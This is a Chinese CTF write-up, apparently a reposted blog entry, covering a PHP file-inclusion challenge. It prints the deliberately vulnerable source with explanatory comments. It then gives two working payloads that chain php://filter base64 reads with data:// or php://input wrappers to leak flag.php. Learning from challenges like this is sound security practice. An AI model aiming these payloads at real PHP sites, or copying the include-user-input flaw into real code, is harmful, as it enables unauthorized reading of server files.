当前位置: 首页 > news >正文

CTF WEB题

[文件包含,少许难度]

地址:攻防世界

代码审计

WRONG WAY!
<?php
include("flag.php"); #包含了一个“flag.php”文件
highlight_file(__FILE__); #来显示当前文件的源代码
if(isset($_GET["file1"]) && isset($_GET["file2"])) #isset()是一个内置函数,用于检查变量是否存在且为非null。 检查是否设置了get参数“file1”和“file2” 且 有值
{
$file1 = $_GET["file1"]; #get传入一个"file1"赋值给$file1
$file2 = $_GET["file2"]; #get传入一个"file2"赋值给$file2
if(!empty($file1) && !empty($file2)) #检查是否“$file1和$file2” 都不为空
{
if(file_get_contents($file2) === "hello ctf") #(file_get_contents($file2) 是一个内置函数,用于将整个文件的内容读取到一个字符串中的函数调用,file2是一个文件路径。 这里是检查读取file2 文件中的内容 是否和"hello ctf" 完全相等
{
include($file1); # 满足上述条件,才可以执行 include($file1),出发文件包含漏洞,“$file1”的文件可以读取 “flag.php” 的内容
}
}
else
die("NONONO"); #否则,输出“NONONO”
}

详细介绍

(file_get_contents($file2) 一个内置函数,用来读取文件的内容,$file2 是包含文件路径的变量,file_get_contents 函数会打开该文件,并且将文件的所有内容会作为一个字符串返回,打开失败时,则返回false

最后包含file1,我们希望得到flag,获取内容,可以用filter读取

file1和 file2 要存在,且都不为空,file2 的内容为 hello ctf

因为file2 的内容为 hello ctf 可以用php://input 和data:// 进行绕过

 payload1:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf  
 payload2:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input  

总结:

整体来说不难,主要是代码审计,配合文件包含php伪协议即可,多多重复,你也行!

http://www.dtcms.com/a/71928.html

相关文章:

  • Linux RT调度器之负载均衡
  • 火语言RPA--列表项内容获取
  • (一)微服务初见之 Spring Cloud 介绍
  • 自己动手打造AI Agent:基于DeepSeek-R1+websearch从零构建自己的Manus深度探索智能体AI-Research
  • 【C语言系列】C语言内存函数
  • Codeforces Round 1009 (Div. 3)-G
  • HTML 标题
  • Ubuntu 24.04-JAVA-JDBC-mysql
  • Influxdb cli删除数据步骤
  • 【c++】【智能指针】shared_ptr底层实现
  • python_巨潮年报pdf下载
  • 判断是不是二叉搜索树(C++)
  • java静态变量,静态方法存储在内存中哪个位置
  • TCP怎么保证可靠传输
  • redis常用命令
  • Sublime Text 2.0.2 安装与汉化指南:从下载到中文包配置的完整教程
  • 【强化学习】第二讲——探索与利用exploration vs. exploitation
  • [WEB开发] Web基础
  • zero-shot文字分类模型
  • 【数据结构与算法】Java描述:第四节:二叉树
  • 苹果app上架app store 之苹果开发者账户在mac电脑上如何使用钥匙串访问-发行-APP发布证书ios_distribution.cer-优雅草卓伊凡
  • DeepSeek 3FS集群化部署临时笔记
  • Django中的查询条件封装总结
  • 解决 openjtalk.obj : error LNK2001: 无法解析的外部符号 __imp__PySequence_List 错误
  • C语言基础要素(016):入口条件循环:while与for
  • go 通过汇编分析栈布局和函数栈帧
  • SSM文物管理系统
  • chatgpt的一些prompt技巧
  • vue3设置全局滚动条样式
  • 1.5[hardware][day5]